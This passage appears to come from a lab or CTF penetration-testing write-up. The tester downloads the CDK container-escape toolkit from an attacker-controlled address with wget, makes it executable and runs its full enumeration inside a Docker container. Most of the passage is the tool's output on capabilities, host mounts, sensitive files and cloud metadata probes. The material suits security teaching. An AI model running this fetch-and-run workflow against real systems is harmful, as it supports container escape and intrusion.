CDK - Zero Dependency Container Penetration Toolkit


Performing an automated scanning with CDK after making basic enumeration

cdk is an open-sourced container penetration toolkit, designed for offering stable exploitation in different slimmed containers without any OS dependency. It comes with useful net-tools and many powerful PoCs/EXPs and helps you to escape container and take over K8s cluster easily.

/root # wget http://10.10.14.11/cdk ; chmod 755 ./cdk
connecting to 10.10.14.11 (10.10.14.11:80)
cdk                    1% |                                |  137k  0:01:24 ETA
cdk                   57% |******************              | 6713k  0:00:01 ETA
cdk                   92% |*****************************   | 10.6m  0:00:00 ETA
cdk                  100% |********************************| 11.4m  0:00:00 ETA

Delivery complete

/root # ./cdk evaluate --full
CDK (Container DucK)
cdk version(gitcommit): d9ab55702036c28e793378cc47605e21206dfef1
Zero-dependency cloudnative k8s/docker/serverless penetration toolkit by cdxy & neargle
find tutorial, configuration and use-case in https://github.com/cdk-team/CDK/
 
[  Information Gathering - System Info  ]
2023/12/27 17:37:56 current dir: /root
2023/12/27 17:37:56 current user: root uid: 0 gid: 0 home: /root
2023/12/27 17:37:56 hostname: 589113857d68
2023/12/27 17:37:56 alpine alpine 3.10.3 kernel: 5.15.0-56-generic
 
[  Information Gathering - Services  ]
2023/12/27 17:37:56 service found in process:
	1	0	python3
2023/12/27 17:37:56 service found in process:
	7	1	python3
2023/12/27 17:37:56 service found in process:
	8	1	python3
 
[  Information Gathering - Commands and Capabilities  ]
2023/12/27 17:37:56 available commands:
	wget,nc,find,ps,python,python3,vi,mount,fdisk,gcc,base64
2023/12/27 17:37:56 Capabilities hex of Caps(CapInh|CapPrm|CapEff|CapBnd|CapAmb):
	capinh:	00000000a00425fb
	capprm:	00000000a00425fb
	capeff:	00000000a00425fb
	capbnd:	00000000a00425fb
	capamb:	0000000000000000
	cap decode: 0x00000000a00425fb = CAP_CHOWN,CAP_DAC_OVERRIDE,CAP_FOWNER,CAP_FSETID,CAP_KILL,CAP_SETGID,CAP_SETUID,CAP_SETPCAP,CAP_NET_BIND_SERVICE,CAP_NET_RAW,CAP_SYS_CHROOT,CAP_AUDIT_WRITE,CAP_SETFCAP
[*] maybe you can exploit the capabilities below:
 
[  Information Gathering - Mounts  ]
0:57 / / rw,relatime - overlay overlay rw,lowerdir=/var/lib/docker/overlay2/l/DRGMD73SWUZIEBTCBZBGE4NVUC:/var/lib/docker/overlay2/l/ZDJFWZPSKIUIDARX3UFVDU45YT:/var/lib/docker/overlay2/l/UP3EQ3NNRGQS5FMQOZ6QOSXVO7:/var/lib/docker/overlay2/l/5Q5RNC7YL4VBLNOE75JSW4YK4Z:/var/lib/docker/overlay2/l/HJMPVSNJR7HDYZI6ZVBJSRWSAV:/var/lib/docker/overlay2/l/7WGNVFAKWVWHP2JEXLJ7CTZZXV:/var/lib/docker/overlay2/l/42TVFU33XU7Y46JFVGK5XO2KDN:/var/lib/docker/overlay2/l/MXUR7B4EKGHIWNQECS2U56RNJM:/var/lib/docker/overlay2/l/KDC34OJY5VUNYMCTPR2I2WADIC:/var/lib/docker/overlay2/l/BE7ULB2VTYRZZGQCJ6LCUZSKRD:/var/lib/docker/overlay2/l/DBCH4DDSQUJOOAAGEI4S3BXA2Y:/var/lib/docker/overlay2/l/HFLYWN53FGIY5IOWOHVWOR7VFY:/var/lib/docker/overlay2/l/JFKXPERB73IRPP466U2SMK2Q2J:/var/lib/docker/overlay2/l/QJEQWOQOZA2WAGRPJOUYCULJZD:/var/lib/docker/overlay2/l/M2RIPVP5DGTFN7GZGZNNXZPJCF:/var/lib/docker/overlay2/l/HMW3VBRCQOA2QCPYKD75GR63PX:/var/lib/docker/overlay2/l/2ZX5PTCMAT344WSU6GC75NALAO,upperdir=/var/lib/docker/overlay2/3ec9ef440c292f0e15a1b250279132b875fddcda2fdd802ec8dec8577ff2e3c0/diff,workdir=/var/lib/docker/overlay2/3ec9ef440c292f0e15a1b250279132b875fddcda2fdd802ec8dec8577ff2e3c0/work
0:60 / /proc rw,nosuid,nodev,noexec,relatime - proc proc rw
0:61 / /dev rw,nosuid - tmpfs tmpfs rw,size=65536k,mode=755,inode64
0:62 / /dev/pts rw,nosuid,noexec,relatime - devpts devpts rw,gid=5,mode=620,ptmxmode=666
0:63 / /sys ro,nosuid,nodev,noexec,relatime - sysfs sysfs ro
0:29 / /sys/fs/cgroup ro,nosuid,nodev,noexec,relatime - cgroup2 cgroup rw,nsdelegate,memory_recursiveprot
0:59 / /dev/mqueue rw,nosuid,nodev,noexec,relatime - mqueue mqueue rw
0:64 / /dev/shm rw,nosuid,nodev,noexec,relatime - tmpfs shm rw,size=65536k,inode64
253:0 /root/scripts/docker/API /API rw,relatime - ext4 /dev/mapper/ubuntu--vg-ubuntu--lv rw
253:0 /home/svc /home/svc ro,relatime - ext4 /dev/mapper/ubuntu--vg-ubuntu--lv rw
253:0 /var/lib/docker/containers/589113857d68dd7d404a44f335797cde6a03cea3c20c49cceaad667236a4e998/resolv.conf /etc/resolv.conf rw,relatime - ext4 /dev/mapper/ubuntu--vg-ubuntu--lv rw
253:0 /var/lib/docker/containers/589113857d68dd7d404a44f335797cde6a03cea3c20c49cceaad667236a4e998/hostname /etc/hostname rw,relatime - ext4 /dev/mapper/ubuntu--vg-ubuntu--lv rw
253:0 /var/lib/docker/containers/589113857d68dd7d404a44f335797cde6a03cea3c20c49cceaad667236a4e998/hosts /etc/hosts rw,relatime - ext4 /dev/mapper/ubuntu--vg-ubuntu--lv rw
0:60 /bus /proc/bus ro,nosuid,nodev,noexec,relatime - proc proc rw
0:60 /fs /proc/fs ro,nosuid,nodev,noexec,relatime - proc proc rw
0:60 /irq /proc/irq ro,nosuid,nodev,noexec,relatime - proc proc rw
0:60 /sys /proc/sys ro,nosuid,nodev,noexec,relatime - proc proc rw
0:60 /sysrq-trigger /proc/sysrq-trigger ro,nosuid,nodev,noexec,relatime - proc proc rw
0:65 / /proc/acpi ro,relatime - tmpfs tmpfs ro,inode64
0:61 /null /proc/kcore rw,nosuid - tmpfs tmpfs rw,size=65536k,mode=755,inode64
0:61 /null /proc/keys rw,nosuid - tmpfs tmpfs rw,size=65536k,mode=755,inode64
0:61 /null /proc/timer_list rw,nosuid - tmpfs tmpfs rw,size=65536k,mode=755,inode64
0:66 / /proc/scsi ro,relatime - tmpfs tmpfs ro,inode64
0:67 / /sys/firmware ro,relatime - tmpfs tmpfs ro,inode64
 
[  Information Gathering - Net Namespace  ]
	container net namespace isolated.
 
[  Information Gathering - Sysctl Variables  ]
2023/12/27 17:37:56 net.ipv4.conf.all.route_localnet = 0
 
[  Information Gathering - DNS-Based Service Discovery  ]
error when requesting coredns: lookup any.any.svc.cluster.local. on 127.0.0.11:53: server misbehaving
error when requesting coredns: lookup any.any.any.svc.cluster.local. on 127.0.0.11:53: server misbehaving
 
[  Discovery - K8s API Server  ]
2023/12/27 17:37:56 checking if api-server allows system:anonymous request.
err found while searching local k8s apiserver addr.:
err: cannot find kubernetes api host in ENV
	api-server forbids anonymous request.
	response:
 
[  Discovery - K8s Service Account  ]
load k8s service account token error.:
open /var/run/secrets/kubernetes.io/serviceaccount/token: no such file or directory
 
[  Discovery - Cloud Provider Metadata API  ]
2023/12/27 17:37:57 failed to dial Alibaba Cloud API.
2023/12/27 17:37:58 failed to dial Azure API.
2023/12/27 17:37:59 failed to dial Google Cloud API.
2023/12/27 17:38:00 failed to dial Tencent Cloud API.
2023/12/27 17:38:01 failed to dial OpenStack API.
2023/12/27 17:38:02 failed to dial Amazon Web Services (AWS) API.
2023/12/27 17:38:03 failed to dial ucloud API.
 
[  Exploit Pre - Kernel Exploits  ]
 
[  Information Gathering - Sensitive Files  ]
	.dockerenv - /.dockerenv
	/.bash_history - /home/svc/.bash_history
	/.bashrc - /home/svc/.bashrc
 
[  Information Gathering - ASLR  ]
2023/12/27 17:38:04 /proc/sys/kernel/randomize_va_space file content: 2
2023/12/27 17:38:04 ASLR is enabled.
 
[  Information Gathering - Cgroups  ]
2023/12/27 17:38:04 /proc/1/cgroup file content:
	0::/
2023/12/27 17:38:04 /proc/self/cgroup file added content (compare pid 1) :

As expected, the host system’s /home/svc is mounted to the /home/svc of the current Docker container Additionally, the host system’s /root/scripts/docker/API is mounted to the /API directory of the current Docker container